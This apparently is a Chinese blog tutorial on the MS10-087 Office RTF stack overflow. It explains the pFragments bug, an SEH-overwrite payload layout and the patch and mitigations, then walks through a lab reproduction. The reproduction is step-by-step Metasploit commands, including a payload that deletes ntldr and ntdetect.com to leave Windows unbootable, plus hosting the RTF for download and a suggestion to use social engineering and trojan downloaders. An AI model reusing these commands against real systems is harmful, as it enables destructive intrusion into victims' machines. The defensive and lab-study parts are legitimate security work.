一、漏洞介绍
基本信息
受影响版本详细清单
原理分析
一句话:MS10-087 是 Office RTF 解析栈溢出漏洞,打开恶意 RTF 文件可被远程执行代码,属严重级文档类 RCE 漏洞
1. RTF 文件格式基础
RTF(Rich Text Format)是微软开发的跨平台文档格式,使用纯文本标记语言描述文档内容。其结构由控制字(Control Word)组成:
{\rtf1\ansi\deff0{\fonttbl{\f0 Times New Roman;}}
{\pard This is a test paragraph\par}}2. 漏洞触发点:\pFragments 控制字
\pFragments 是 RTF 规范中用于描述绘图片段(Picture Fragments)属性的控制字,允许在文档中嵌入矢量图形数据。其正常语法为:
{\pict {\*\pFragments ...十六进制数据...}}关键问题:mso.dll(Microsoft Office 共享库)中的解析函数在处理 \pFragments 的十六进制属性值时,存在严重的长度校验缺陷。
3.1 构造恶意 RTF 结构
{\rtf1\ansi\deff0
{\*\pFragments
01000000020000000300000004000000... ; 超长十六进制数据(通常 > 500字节)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... ; 填充数据覆盖栈
\x90\x90\x90\x90... ; NOP滑板
\xEB\x06\x90\x90... ; 短跳转指令
\x12\x34\x56\x78... ; 覆盖SEH的pop/pop/ret地址
shellcode... ; 恶意代码
}}3.2 利用流程
1. 用户打开/预览 RTF 文档
↓
2. Word 调用 mso.dll 解析 \pFragments 属性
↓
3. 超长数据触发栈溢出,覆盖栈结构:
┌─────────────────┐
│ 原始返回地址 │ ← 被覆盖为 0x41414141
├─────────────────┤
│ SEH 记录指针 │ ← 被覆盖为 pop/pop/ret 地址
├─────────────────┤
│ 局部变量区域 │ ← 被 Shellcode 覆盖
├─────────────────┤
│ 栈缓冲区(256B) │ ← 已溢出
└─────────────────┘
↓
4. 触发异常时,执行 pop/pop/ret 跳转到 Shellcode
↓
5. 以当前用户权限执行任意代码(计算器/后门/木马)如何防护
1.及时安装官方补丁
补丁编号:KB2423930 (MS10-087)修复了mso.dll中的路径处理逻辑,增加输入长度校验并重构栈缓冲区分配策略。
2.临时缓解方案
禁用RTF解析:通过组策略禁用Word的RTF文件解析功能(设置路径:HKCU\Software\Microsoft\0ffice\...\Word\Security )。
启用防护机制:强制启用DEP (Data Execution Prevention) 和Office沙箱 (Protected View)
3.网络与终端防护
流量监控:检测HTTP/邮件流量中异常的 pnfragments控制字或超长属性字符串。
行为分析:监控winword.exe进程的异常栈操作或Shellcode执行行为。
二、完整复现
1.准备工作
确保目标靶机没有安装KB2423930补丁,目标靶机的office和系统版本在上述范围内,这里默认目标靶机没有做防护
目标靶机:192.168.68.132(winXP_sp3)
攻击机:192.168.68.128(kalilinux)
2.msf复现
打开kali终端
启动msf
msfconsolesearch MS10-087
search MS10-087使用MS10-087
use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
这里我们没有设置payload,默认是windows的反向连接shell,但是这次我们使用的漏洞不能使用反向shell,这个默认的payload无论我们使用哪一个漏洞模块都会弹出这个
查看需要配置什么参数
show options
可以看到我们需要设置一个文件名
设置文件名
set FILENAME test.rtf写入恶意命令
这里我们设置一个payload,让windows执行单次命令
set payload windows/exec这里我是删除对方引导,(建议先建立一个快照,不然还要重新装靶机)当然我们也可以换成蓝屏,攻击对方的注册表,格式化硬盘,让对方系统瘫痪等,这里我让cmd.exe运行了,不然会解析错误,导致执行失败
set CMD "cmd.exe /c \"del /f /q /a C:\ntldr & del /f /q /a C:\ntdetect.com\""tips:这个漏洞区别于永恒之蓝和ms10-018这些漏洞,他们攻击的是网络服务smb,所以只要服务没掉,就可以持续交互控制,ms10-087这个漏洞需要用户打开这个恶意文件才能执行,只能执行提前设置好的命令,不过我们可以搭配后门(写入rtf文件,对方一打开就会下载我们的木马)或者创建一个后门用户实现持续控制

可以看到我们的rtf木马已经生成,我们接下来就是需要想办法把这个发送给目标靶机,配合社工让对方点击,这里方便演示,我在kali开启一个apache服务让对方访问我这个攻击机然后下载rtf文件
发送木马
安装apache
sudo apt install apache2启动apache
sudo systemctl start apache2查看是否成功运行
sudo systemctl start apache2
可以看到apache服务已经成功启动
移动rtf文件到服务根目录
sudo mv /root/.msf4/local/test.rtf /var/www/html3.检验结果
当对方点击访问http://192.168.68.128/test.rtf时会下载test.rtf
然后运行的时候弹出了一个cmd窗口,重启后就发现系统启动不了了。
